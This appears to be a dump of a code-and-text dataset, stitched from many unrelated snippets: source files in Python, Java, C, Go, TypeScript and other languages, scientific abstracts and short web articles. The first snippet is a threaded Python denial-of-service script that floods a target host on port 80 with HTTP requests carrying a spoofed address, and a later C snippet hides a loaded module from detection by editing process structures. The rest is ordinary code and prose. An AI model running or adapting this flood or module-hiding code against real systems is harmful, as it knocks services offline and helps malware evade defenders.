content
stringlengths
10
4.9M
import threading import socket import time target= "target ip" port=80 fake_ip="172.16.31.10" def dos(): while True: stream=socket.socket(socket.AF_INET,socket.SOCK_STREAM) stream.connect((target,port)) stream.sendto((f"GET /{target} HTTP/1.1\r\n").encode("ascii"),(target,port))...
/** * Helps with Setting a list. Tries to deal with nulls and throws a * more helpful exception than the otherwise thrown * {@link IndexOutOfBoundsException}. * * @author rob * */ public class ListSetterHelper<E> { private final List<E> elements; public ListSetterHelper() { this(new LinkedLis...
Reverse banding on chromosomes produced by a guanosine-cytosine specific DNA binding antibiotic: olivomycin. Characteristic reverse fluorescent banding patterns (R bands) on human, bovine, and mouse metaphase chromosomes are produced by treating chromosome preparations directly with olivomycin. With the DNA in solutio...
Effect of injection-molding-induced residual stress on microchannel deformation irregularity during thermal bonding Micro injection molding offers a promising approach to rapidly produce thermoplastic microfluidic substrates in large volumes. Many research works have been focused on the replication fidelity of microst...
/** * Ticks the flux handler * Should be called every tick */ @Override public void tick(){ World world = owner.getLevel(); if(world.isClientSide()){ if(rendered.length != 0 && world.getGameTime() % FluxUtil.FLUX_TIME == 0 && CRConfig.fluxSounds.get()){ CRSounds.playSoundClientLocal(world, own...
A Lifetime Performance Analysis of LED Luminaires Under Real-Operation Profiles Light-emitting diode (LED)-based lighting is the most dominant lighting solution in the current era since it is energy-efficient and long-lasting. Hence, performance analysis of the LEDs throughout its lifetime is of prime importance. The ...
Characterization and biocompatibility of epoxy-crosslinked dermal sheep collagens. Dermal sheep collagen (DSC), which was crosslinked with 1, 4-butanediol diglycidyl ether (BD) by using four different conditions, was characterized and its biocompatibility was evaluated after subcutaneous implantation in rats. Crosslin...
/* Writes to the log and updates the cursor and committed index. Abstracts away ledgers and handles - is at the log abstraction level. A single log writer instance only ever writes to a single ledger. When an event occurs such as the ledger having been closed, fenced or there not being enough booki...
/** * Draw game over screen * * @param graphic The instance of Graphics class */ private void drawGameOver(Graphics graphic) { LOGGER.finer("Drawing game over"); String gameOverMsg = "Game over!"; String playAgainMsg = "Click and hold anywhere to play again"; String...
def _get_object(name: str) -> Optional[base.Trackable]: module = TFGraphContext.get_module_to_export() if module is None: raise RuntimeError( f'No module found to track {name} with. Check that the `preprocessing_fn` is' ' invoked within a `TFGraphContext` with a valid ' '`TFGraphContext....
<reponame>LuisAlvarez98/VirtualMemorySimulator #ifndef Files_h #define Files_h #include <string.h> #include <fstream> using namespace std; class Files { public: Files() {} // Intenta abrir un archivo bool tryOpen(string filename, ifstream &file) { file.open(filename); if...
#include "TextBox.h" #include "InputComponent.h" #include "Engine.h" #include "SpriteComponent.h" TextBox::TextBox(float x, float y, const char* name, const char* path) : Actor(x, y, name) { m_spriteComponent = dynamic_cast<SpriteComponent*>(addComponent(new SpriteComponent(path))); } void TextBox::start() { m_inpu...
/* Convert the start_indices/end_indices into a string slice */ void nccf_make_slice( int ndims, int bind[], int eind[], char *slice ){ char *iBegStr, *iEndStr; char range[STRING_SIZE]; int i; strcpy( slice, "\0" ); iBegStr = (char*)calloc( STRING_SIZE, sizeof(char) ); iEndStr = (char*)calloc( STRING_SIZE, ...
/** * Test the text of the response message */ @Test public void testMessage() { ResponseMessage message = new ResponseMessage(); message.setText("TEXT"); assertEquals(message.getText(), "TEXT"); }
def testResults(self): self.ips_obj = iperf.IperfSet(self.fake_host_src, self.fake_host_dst, IperfSetTest.dst) self.ips_obj.Start(length=10) self.ips_obj.Stop() results = self.ips_obj.Results() self.assertEqual(len(results), 2) ...
package spring.project.common.model; public enum PlayerState { DEFINING, BEGINNING,PLAYING,ENDING; }
/* * Write a code to the output stream. */ inline void G3Encoder::putcode(const tableentry& te) { putBits(te.code, te.length); }
The RNA world hypothesis1-3 postulates that RNA played the role of DNA (genotype) and proteins (phenotype) and gave rise later to an RNA/DNA/Protein world, implying that proteins and DNA were the inventions of an RNA world (Scheme 1 a).4-7 This hypothesis is largely based on the analysis of extant biochemical machinery...
// Function to replace every element with the // least greater element on its right void replace(int arr[], int n) { Node *root = NULL; for (int i = n - 1; i >= 0; i--) { Node *succ = NULL; root = insert(root, arr[i], succ); if (succ) arr[i] = succ->data; else ...
<reponame>sunchaser-lilu/sunchaser-hikari package com.sunchaser.sparrow.javaee.graphql.domain.bank.input; import lombok.Data; import javax.validation.constraints.NotBlank; /** * @author sunchaser <EMAIL> * @since JDK8 2022/5/6 */ @Data public class CreateBankAccountInput { @NotBlank private String firstNa...
/*- * Copyright (c) 2010-2011 Solarflare Communications, Inc. * All rights reserved. * * This software was developed in part by <NAME> under contract for * Solarflare Communications, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the follo...
An Automobile Environment Detection System Based on Deep Neural Network and its Implementation Using IoT-Enabled In-Vehicle Air Quality Sensors : This paper elucidates the development of a deep learning–based driver assistant that can prevent driving accidents arising from drowsiness. As a precursor to this assistant,...
#include "CalibFormats/SiStripObjects/test/plugins/testSiStripHashedDetId.h" #include "CalibFormats/SiStripObjects/interface/SiStripHashedDetId.h" #include "DataFormats/SiStripCommon/interface/SiStripConstants.h" #include "FWCore/Framework/interface/Event.h" #include "FWCore/Framework/interface/ESHandle.h" #include "...
import { annotationModule } from '../../modules/annotation'; import { annotationLinkHandler } from './annotationLinkHandler'; describe('annotationLinker', () => { describe('countLinkedEntities', () => { it('should return the linked entities count', () => { const annotations = [ { category: 'firstNa...
The Order of the k-Letter Spelling Shuffle A mathemagician gives a deck of cards to an audience member and asks her to shuffle it thoroughly. The spectator is then asked to name her favorite mathematician—suppose “Paul Erdős” is chosen—and to cut off roughly the top quarter of the deck. The mathemagician takes both st...
#include <stdio.h> #include <stdlib.h> int main() { int a[5][5],i,j,p=2,c=0,i1,j1; for(i=0;i<5;i++) {for(j=0;j<5;j++) { scanf("%d",&a[i][j]); } printf("\n"); } for(i1=0;i1<5;i1++) {for(j1=0;j1<5;j1++) { if(a[i1][j1]!=0) {i=i1; j=j1;} }} while(i!=2||j!=2) { ...
/// Returns a Some of vector of owned string pub fn as_strings(yaml: &Yaml, key: &str) -> Option<Vec<String>> { let yaml = &yaml[key]; // FIXME supports vec of strings if let Some(val) = yaml.as_str() { Some(vec![val.to_string()]) } else if let Some(vals) = yaml.as_vec() { let strings = vals.into_iter().filter_...
/** * Reads the given object into a JsonNode while using the JsonForIO view. */ private JsonNode asObjectNodeWithIOView(Object obj) throws IOException { String tmpStr = Json.mapper().writerWithView(JsonForIO.class) .writeValueAsString(obj); return Json.mapper().readTree(tmpStr)...
def do_transfer(self, data): ok = False name = data['odbiorca'] LOG.info(u"Wybieranie rachunku '{0}' z książki adresowej.".format(name)) try: self.wait_for_clickable_element(self.LOCATOR_BOOKMARKS).click() self.wait_for_clickable_element(self.LOCATOR_RECORDS_LIST)...
def cut_equal_yz(im_1, im_2): shape_1 = im_1.shape shape_2 = im_2.shape min_y = np.min([shape_1[1], shape_2[1]]) min_z = np.min([shape_1[2], shape_2[2]]) im_1 = im_1[:, :min_y, :min_z].copy() im_2 = im_2[:, :min_y, :min_z].copy() return im_1, im_2
def move_individual(destination_rank, destination_index, source_rank, source_index): individual = source_rank.individuals[source_index] destination_rank.individuals[destination_index] = individual destination_rank = destination_rank._replace( occupancy=destination_rank.occupancy + 1) source_rank...
/** * Launches a quest * @param q is the Quest to be launched */ public void startQuest(Quest q) { Platform.runLater(() -> { ui.getChildren().add(q.getQuestPane()); if(q.getInstr() != null) { q.get...
import 'reflect-metadata'; import app from "./bootstrap/app"; import { config } from "dotenv"; const port = process.env.PORT || 3000; (async () => { app.listen(port, () => { console.log(`app is listening on port ${port}`); }); process.on("unhandledRejection", (reason, p) => { console.error("Unhandled Rejec...
package nspawn import ( "strings" "testing" ) func TestVersion(t *testing.T) { n := Nspawn{} v, err := n.Version() if err != nil { t.Fatalf("failed to get nspawn version: %s", err) } if v < 200 { t.Errorf("version expected to be recent, but is ancient: %s", v) } } func TestMachines(t *testing.T) { m, er...
<filename>src/main/java/test/tiempo/test/RejozOriginal.java package main.java.test.tiempo.test; import javafx.application.Application; import javafx.application.Platform; import javafx.scene.Scene; import javafx.scene.layout.BorderPane; import javafx.scene.text.Text; import javafx.stage.Stage; import javafx.stage.Stag...
// _ _ // __ _____ __ ___ ___ __ _| |_ ___ // \ \ /\ / / _ \/ _` \ \ / / |/ _` | __/ _ \ // \ V V / __/ (_| |\ V /| | (_| | || __/ // \_/\_/ \___|\__,_| \_/ |_|\__,_|\__\___| // // Copyright © 2016 - 2022 SeMI Technologies B.V. All rights reserved. // // CONTACT: <EMAIL>...
import React, {useContext} from "react"; import {AccordionContext, OverlayTrigger, Tooltip, useAccordionToggle} from "react-bootstrap"; import {MdExpandLess, MdExpandMore} from "react-icons/all"; import InteractionHandler from "../player/InteractionHandler"; import "../player/ControlButton.css"; interface QueueExpand...
class Department: """A department at the university""" longname: str name: str @classmethod def from_xml(cls, elem: Element): """Construct new Department from an XML element""" return cls(elem.get("longname"), elem.get("name"))
/* * Copyright 2022 NXP * * SPDX-License-Identifier: Apache-2.0 */ #include <zephyr/zephyr.h> #include <zephyr/drivers/sdhc.h> #include <zephyr/sd/sd.h> #include <zephyr/sd/sdmmc.h> #include <zephyr/sd/sd_spec.h> #include <zephyr/logging/log.h> #include <zephyr/sys/__assert.h> #include "sd_utils.h" #include "sdmm...
from pymongo import MongoClient from pprint import pprint from Lesson2 import hh client = MongoClient('127.0.0.1', 27017) db = client['jobs_database'] jobs_data = db.jobs_data # dicts = hh('C++', 1) # jobs_data.insert_many(dicts) # for job in jobs_data.find({}): # pprint(job) def find_min_salary(min_salary):...
package goshare /* DelKey deletes val for a given key, returns status. */ func DelKey(key string) bool { return tsds.DelKey(key) } /* DelKeyNS deletes given key's namespace and all its values, returns status. */ func DelKeyNS(key string) bool { return tsds.DeleteNSRecursive(key) } /* DelKeyTSDS deletes all keys un...
<gh_stars>1-10 import React from 'react' import '@testing-library/jest-dom/extend-expect' import { render, RenderResult } from '@testing-library/react' import { CodeBlock } from '.' describe('CodeBlock', () => { let wrapper: RenderResult describe('with required props', () => { beforeEach(() => { wrappe...
# include <stdio.h> # include <string.h> typedef struct { int izq, der, value, vmostizq, vmostder, hijos[2], nhijos; double avarage; } NODO; NODO arbol[200002]; int root; void getmostValues( int node ){ if( node == -1) return; getmostValues( arbol[ node ].izq ); getmostValues( arbol[ node ].der ); if( ...
def _get_ground_template(self, width_estimate, stretch_height=1): if 'ground_template' not in self._cache: filename = 'ground_%s.yaml' % self.params['ground/template'] path = os.path.join(os.path.dirname(__file__), 'assets', filename) if not os.path.isfile(path): ...
// AssignPropertiesFromCorsRule populates our CorsRule from the provided source CorsRule func (rule *CorsRule) AssignPropertiesFromCorsRule(source *v1alpha1api20210401storage.CorsRule) error { rule.AllowedHeaders = genruntime.CloneSliceOfString(source.AllowedHeaders) if source.AllowedMethods != nil { allowedMethodL...
/** * Checks whether an Atom object conforms to the name and alternative * location of the first atom as set by the user. * @param atom * - Atom object * @return {@code TRUE} if atom corresponds to the first atom identifier as * set by the user, {@code FALSE} otherwise. ...
// // ChatSystem.h // AFNetworking // // Created by lijunlin on 2019/8/27. // #import <Foundation/Foundation.h> #define ACTION_UPDATE_DONOTHING 0 #define ACTION_UPDATE_ONESESSION 1 #define ACTION_UPDATE_ALLSESSION 2 NS_ASSUME_NONNULL_BEGIN @interface ChatSystem : NSObject //系统动作 @property(nonatomic,assign) NSI...
Dysfunctional glia: contributors to neurodegenerative disorders Astrocytes are integral components of the central nervous system, where they are involved in numerous functions critical for neuronal development and functioning, including maintenance of blood-brain barrier, formation of synapses, supporting neurons with...
#!/usr/bin/env python3 import logging, math from ublox import * from threading import Thread class GPSModule(Thread): gps = None latitude = 0.0 longitude = 0.0 altitude = 0.0 fix_status = 0 satellites = 0 healthy = True onHighAltitude = False def __init__(self, portname="/dev/ttyU...
/// Creates a new Decoder for the specified reader. pub fn new(rdr: R) -> FrameDecoder<R> { FrameDecoder { r: rdr, src: Default::default(), dst: Default::default(), ext_dict_offset: 0, ext_dict_len: 0, dst_start: 0, dst_end: 0, ...
<gh_stars>1-10 import { parentPort } from "worker_threads"; import { JagoLogEntry, makeJagoSend, makeSend, cloneArrayEntries, tos, } from "^jab"; const canSend = process.send || parentPort; //This is only contructed, if there is IPC connection or this is a worker. // But would be better to detect, if jago a...
<reponame>durka/ilmentufa<filename>tcepru/version.c /* Copyright 1992-2003 Logical Language Group Inc. Licensed under the Academic Free License version 2.0 */ # include "lojban.h" # include "version.h" void copyright() { fprintf(stderr, "3;0;"); /* VERSION is a string, so VERSION + 1 strips the first character ...
/* * Copyright 2016 Netflix, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in wr...
// Copyright 2019 <NAME> // This code is licensed under MIT license (see LICENSE for details) #include "parser.h" #include <TinyXML.h> #include "network.h" namespace spare_the_air { namespace { static_assert(kMaxNumEntries >= kNumStatusDays, "Too small"); constexpr const char kRegion[] = "Santa Clara Valley"; /...
<gh_stars>100-1000 /* * Copyright (C) 2011 VMware, Inc. All rights reserved. * * Module : service.c * * Abstract : * * VMware Directory Service * * Service * * RPC common functions * */ #include "..\includes.h" #ifdef _WIN32 #define END_POINT_BUF_LEN 128 #define HOST_...
/** * class Teacher extends Profession. * * @author Ruzhev Alexander * @since 29.03.2017 */ public class Teacher extends Profession { /** * Constructor extends Profession. * * @param name - name * @param age - age * @param employed - date employed * @param professio...
Hi there! C' mon in. You've been invited to take a tour through my top secret hide out filled with automotive memorabilia. Take a few moments and look around. There is much to see. I've been collecting all things automotive since I was a kid. I had always dreamed about creating a small retreat for myself where I could ...
module Main where import RAM import Instruction import RawInstruction import qualified Version1 as V1 import qualified Version2 as V2 import System.Environment import Types import qualified System.IO.Strict as S main :: IO () main = do ----------------------------------------------- --For building executable file ...
/** * Load language settings for workspace. */ public static void loadLanguageSettingsWorkspace() { try { Job.getJobManager().join(JOB_FAMILY_SERIALIZE_LANGUAGE_SETTINGS_WORKSPACE, null); } catch (OperationCanceledException e) { return; } catch (InterruptedException e) { CCorePlugin.log(e); Thread...
package decorator import ( "bytes" "fmt" "path/filepath" "testing" "github.com/dave/dst" "github.com/dave/dst/decorator/resolver/guess" "github.com/dave/dst/dstutil" ) func TestApply(t *testing.T) { testPackageRestoresCorrectlyWithApplyClone( t, "github.com/dave/dst/gendst/data", "fmt", "bytes", "i...
Purification and Characterization of an Extracellular Acid Proteinase from the Ectomycorrhizal Fungus Hebeloma crustuliniforme Hebeloma crustuliniforme produced an extracellular acid proteinase in a liquid medium containing bovine serum albumin as the sole nitrogen source. The proteinase was purified 26-fold with 20% ...
import {Observe} from '@rxstack/async-event-dispatcher'; import {ServerConfigurationEvent, ServerEvents, ConnectionEvent} from '@rxstack/core'; import {Injectable, Injector} from 'injection-js'; import {socketMiddleware} from './socketio.middleware'; import {SocketioServer} from '../../src/socketio.server'; import {Eve...
/** * Gck 1 * * Generated from 1.0.0 */ import * as GObject from "@gi-types/gobject"; import * as Gio from "@gi-types/gio"; import * as GLib from "@gi-types/glib"; export const INVALID: number; export const MAJOR_VERSION: number; export const MICRO_VERSION: number; export const MINOR_VERSION: number; export const...
def _get_execute_steps(self, context, solid_name): action_on_failure = self.config['action_on_failure'] staging_bucket = self.config['staging_bucket'] run_id = context.run_id local_root = os.path.dirname(os.path.abspath(self.config['pipeline_file'])) steps = [] requiremen...
(Image Credit: Getty Images) Until his death in 1985, Jean-Marie Loret believed that he was the only son of Adolf Hitler. There is now renewed attention to evidence from France and Germany that apparently lends some credence to his claim. Loret collected information from two studies; one conducted by the University o...
#include "AntiDetection.h" #include <Windows.h> HMODULE GetSelfModuleHandle() { MEMORY_BASIC_INFORMATION mbi; return ((::VirtualQuery(GetSelfModuleHandle, &mbi, sizeof(mbi)) != 0) ? (HMODULE)mbi.AllocationBase : NULL); } void HideModule(void* pModule) { void* pPEB = nullptr; _asm { push eax mov eax, fs: [0...
import {JsonObject, JsonProperty} from 'json2typescript'; import {ApiLyric} from './apiLyric'; @JsonObject('Song') export class ApiSong { @JsonProperty('title', String) public title: string = null; @JsonProperty('url', String) public url: string = null; @JsonProperty('cover', String) public ...
// // Copyright 1998-2012 <NAME> // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed...
Comparative Study of Various Approximations to the Covariance Matrix in Template Attacks Template attacks have been shown to be among the strongest attacks when it comes to side–channel attacks. An essential ingredient there is to calculate the inverse of a covariance matrix. In this paper we make a comparative study ...
<reponame>litezk/schnorr-musig #![allow(non_snake_case)] pub mod aggregated_pubkey; pub mod encoder; pub mod errors; pub mod hasher; pub mod jubjub; pub mod signer; #[cfg(test)] pub mod tests; pub mod verifier;
import * as mongoose from 'mongoose'; export const HabitacionSchema = new mongoose.Schema({ servicios: [String], precioHora: Number, imagen: String, tipoHabitacion: {type: String, enum: ['INDIVIDUAL', 'DOBLE', 'TRIPLE', 'SUITE']}, });
Article body copy In 2012, tropical cyclone Sandy made landfall in the United States’ northeastern coast, killing scores and causing extensive damage. The storm went on to become the second costliest cyclone in US history, after Hurricane Katrina. But as new research shows, it could have been much worse. Confirming th...
non-Hodgkin's lymphoma and occupation in Sweden: a registry based analysis. Incidence of non-Hodgkin's lymphoma in different employment categories was evaluated from the Swedish Cancer-Environment Registry, which links cancer incidence during 1961 to 1979 with occupational information from the 1960 census. New associa...
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may ...
/** * Helper to translate rdf-graph to the owl-objects form. * <p> * Created by @szuev on 25.11.2016. */ @SuppressWarnings("WeakerAccess") public class ReadHelper { /** * Auxiliary method for simplification code. * Used in Annotation Translators. * If the specified statement also belongs to the ...
Florida Sen. Marco Rubio has released the first television ad of his Republican presidential campaign, warning Americans that terror attacks like the ones that happened in Paris could happen in the United States. “This is a civilizational struggle between the values of freedom and liberty and radical Islamic terror,” ...
import KeyedGeoJSON from './geojson' /** * Display patterns as GeoJSON on Leaflet. */ export default function Patterns({ color, patterns }: { color: string patterns: GTFS.Pattern[] }) { return ( <> {patterns.map((p) => ( <KeyedGeoJSON color={color} data={p.geometry} key={p._id} weight={3}...
<gh_stars>0 import { Pipe, PipeTransform } from '@angular/core'; import { ScheduleEngineStepShared, ScheduleFlowStepShared, ScheduleGlobalAction, ScheduleGlobalStepShared, } from '@rg-share'; @Pipe({ name: 'isScheduleFlowStep' }) export class IsScheduleFlowStepPipe implements PipeTransform { transform(value:...
<gh_stars>0 /* * Copyright 2015 Cognitive Medical Systems, Inc (http://www.cognitivemedciine.com). * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licen...
<gh_stars>1-10 /* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applica...
/** * Represents an "enterprise" (e.g. an organisation, a department, etc). */ public final class Enterprise { private String name; Enterprise() { } /** * Creates a new enterprise with the specified name. * * @param name the name, as a String * @throws IllegalArgumentExcept...
<gh_stars>1-10 package gwl const ( eventButtonType = 0x00 ) type Event interface { Type() uint8 } type EventButton struct { Key Key Pressed bool Released bool } func (eb EventButton) Type() uint8 { return eventButtonType }
from typing import Dict, Text from rasa_nlu.config import RasaNLUModelConfig from rasa_nlu.train import do_train_in_worker class InplaceTraining(object): @classmethod def train(cls, config, data, project_dir_path, project=None, fixed_model_name=None, storage=None): # type:...
<filename>ampoule/__init__.py<gh_stars>1-10 from .pool import deferToAMPProcess, pp from .commands import Shutdown, Ping, Echo from .child import AMPChild from ._version import __version__ as _my_version __version__ = _my_version.short() __all__ = [ 'deferToAMPProcess', 'pp', 'Shutdown', 'Ping', 'Echo', ...
// NetworkPayload returns the payload of network layer, used for fragmentation. func (indicator *PacketIndicator) NetworkPayload() []byte { if indicator.NetworkLayer() == nil { return nil } return indicator.NetworkLayer().LayerPayload() }
import java.util.*; public class CoinRows { public static void main(String[] args) { Scanner sc=new Scanner(System.in); int t=sc.nextInt(); while(t-->0) { int m=sc.nextInt(); int arr[]=new int[m]; int brr[]=new int[m]; long presum[]=new long[m]; long sufsum[]=new long[m]; for(int i...
// OnAfterRequest registers an event handler that fires after a request is processed by the controller func OnAfterRequest(callback func(client *Client, request *Request, response *Message)) { on("after-request", func(args ...interface{}) { if len(args) > 2 { callback(args[0].(*Client), args[1].(*Request), args[2...
def generate_ddocs(self, index_type): return { 'ddoc': { 'views': self.MAP_FUNCS[index_type] } }
def run_c(c_test, iss_yaml, isa, mabi, gcc_opts, iss_opts, output_dir, setting_dir, debug_cmd): if not c_test.endswith(".c"): logging.error("%s is not a .c file" % c_test) return cwd = os.path.dirname(os.path.realpath(__file__)) c_test = os.path.expanduser(c_test) report = ("%s/iss_regr.log" %...
/** * The group link object links a host prototype with a host group and has the following properties. * <p/> * Created by Suguru Yajima on 2014/06/04. */ public class GroupLinkObject { /** * (readonly) ID of the group link. */ private Integer group_prototypeid; /** * ID of the host gro...
<reponame>kefik/Clear2D package cz.cuni.amis.clear2d.engine.textures; import java.io.IOException; import java.io.InputStream; import javax.imageio.ImageIO; import cz.cuni.amis.clear2d.engine.textures.TextureAtlasXML.SubtextureXML; public class TextureAtlasResource extends TextureAtlas { public TextureAtlasResour...
/* ============================================================================= * * data.c * * ============================================================================= * * Copyright (C) Stanford University, 2006. All Rights Reserved. * Author: <NAME> * * =================================================...
package com.example.star.myrefreshtest1; import android.app.Activity; import android.content.Intent; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuItem; import android.view.View; ...
package v1 import ( "github.com/gin-gonic/gin" "github.com/pedroribeiro/users/internal/delivery/api/v1/users" "github.com/pedroribeiro/users/internal/repository" "github.com/pedroribeiro/users/internal/usecase" "gorm.io/gorm" ) func InitRoutes(router *gin.RouterGroup, db *gorm.DB) { userRepo := repository.User...
Malignant potential of large congenital nevi. THERE IS CLEAR DOCUMENTATION that large congenital nevi (giant pigmented nevus, melanocytic nevus) have a very high risk of becoming melanoma. The incidence of melanoma in congenital large nevi has been reported to be between 2 and 42 percent. The average incidence reporte...
//---------------------------------------------------------------------------- // Macro: INET_CMP // // Comparison macro for IP addresses. // // This macro compares two IP addresses in network order by // masking off each pair of octets and doing a subtraction; // the result of the final subtraction is sto...
The noticeably minimalist layout coupled with the sparse text of GreatGatsbyGame.com might stylistically conjure up Hemingway more than Fitzgerald, but it was on that unsuspecting website where The Great Gatsby video game revealed itself to the world. Allegedly, a Nintendo prototype cartridge of the game was said to ha...
#include <bits/stdc++.h> #define maxn 501 #define mod 1000009 #define infinite 100000000 #define FOR(i, j, k, in) for (int i = j; i < k; i += in) #define REP(i, j) FOR(i, 0, j, 1) using namespace std; typedef unsigned long long int ull; typedef long long int ll; typedef double db; typedef long double ldb; typedef pai...
/// \brief Perform a depth-first visit of the current module. static bool visitDepthFirst(ModuleFile &M, bool (*Visitor)(ModuleFile &M, bool Preorder, void *UserData), void *UserData, llvm:...
Expansive invertible onesided cellular automata We study expansive invertible onesided cellular automata (i.e., expansive automorphisms of onesided full shifts) and find severe dynamical and arithmetic constraints which provide partial answers to questions raised by M. Nasu . We employ the images and bilateral dimens...